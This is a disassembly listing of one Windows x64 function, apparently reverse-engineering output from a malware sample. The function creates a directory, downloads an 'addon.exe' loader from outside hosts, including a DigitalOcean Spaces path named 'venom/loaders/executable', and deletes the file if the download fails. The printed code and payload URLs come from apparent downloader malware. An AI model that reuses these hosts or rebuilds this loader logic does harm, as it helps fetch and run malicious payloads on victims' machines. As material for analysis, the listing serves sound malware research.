Function at 0x140051fb0
Capabilities:
Create directory
Delete file

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rdi, rcx
xor r14d, r14d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x6f], rax
lea rcx, [rbp + 0x6f]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
call fcn.140052540
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], 0xf
lea ecx, [r14 + 0x40]
call fcn.14008ca9c
mov rcx, rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0x31
mov qword [rsp + 0x38], 0x3f
movups xmm0, xmmword [str.https:__comun.chairfbi.com_loader_version_NewNoUi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400df0b0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400df0c0]
movups xmmword [rax + 0x20], xmm0
movzx eax, byte [0x1400df0d0]
mov byte [rcx + 0x30], al
mov byte [rcx + 0x31], r14b
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x59]
mov rcx, rbx
call fcn.140075aa0
nop
lea rcx, [rbp + 0xf]
call fcn.1400043d0
cmp qword [rax + 0x18], 0xf
jbe 0x140052073
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x1400520ba
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400520b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400520b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008cad8
lea rsi, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova rsi, qword [rbp - 0x59]
lea rcx, [rbp + 0xf]
call fcn.1400043d0
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400520de
mov rbx, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], r14
mov qword [rbp - 0x19], 0xf
mov ecx, 0x20
call fcn.14008ca9c
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x21], 0x10
mov qword [rbp - 0x19], 0x1f
movups xmm0, xmmword [str._s_s_laddon.exe]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
mov r9, rsi
mov r8, rbx
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x79]
call fcn.1400559c0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x14005216f
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005216a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005216a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008cad8
movdqa xmm0, xmmword [0x1400d8330]
movdqu xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0xf], 0
lea r8, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova r8, qword [rbp - 0x59]
mov word [rsp + 0x2e], r14w
mov qword [rsp + 0x30], 0xd
mov qword [rsp + 0x38], 0xf
movsd xmm0, qword [str._s_laddon.exe]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x1400df0f8]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x1400df0fc]
mov byte [rsp + 0x2c], al
mov byte [rsp + 0x2d], 0
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x11]
call fcn.1400559c0
mov rcx, rax
call fcn.140051740
lea rcx, [rbp - 0x79]
call fcn.140004340
test al, al
jne 0x1400523bd
call fcn.140052540
mov rbx, rax
lea rax, [rbp - 0x11]
mov qword [rbp + 0x77], rax
lea rdx, [rbp - 0x79]
cmp qword [rbp - 0x61], 0xf
cmova rdx, qword [rbp - 0x79]
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], r14
mov qword [rbp + 7], r14
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140052230
lea rcx, [rbp - 0x11]
call fcn.140002640
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], 0xf
mov ecx, 0x70
call fcn.14008ca9c
mov rcx, rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0x61
mov qword [rsp + 0x38], 0x6f
movaps xmm0, xmmword [str.https:__venom.nyc3.digitaloceanspaces.com_loaders_executable_ae7e69ed_3eb9_40c4_8026_fda5ce768449]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400df110]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400df120]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400df130]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400df140]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400df150]
movups xmmword [rax + 0x50], xmm1
movzx eax, byte [0x1400df160]
mov byte [rcx + 0x60], al
mov byte [rcx + 0x61], 0
lea r8, [rbp - 0x11]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140075490
test al, al
jne 0x1400523bd
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x79]
cmp qword [rbp - 0x61], 0xf
cmova rcx, qword [rbp - 0x79]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.Failed_to_download_loader_addon
call fcn.140006bf0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x140052364
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005235f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005235f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008cad8
movdqa xmm0, xmmword [0x1400d8330]
movdqu xmmword [rbp - 0x69], xmm0
mov byte [rbp - 0x79], 0
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x1400523ac
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400523a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005240f
call fcn.14008cad8
mov rax, rdi
add rsp, 0xf0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
movups xmm0, xmmword [rbp - 0x79]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x69]
movups xmmword [rdi + 0x10], xmm1
movdqa xmm0, xmmword [0x1400d8330]
movdqu xmmword [rbp - 0x69], xmm0
mov byte [rbp - 0x79], 0
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x1400523ac
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400523a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400523a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3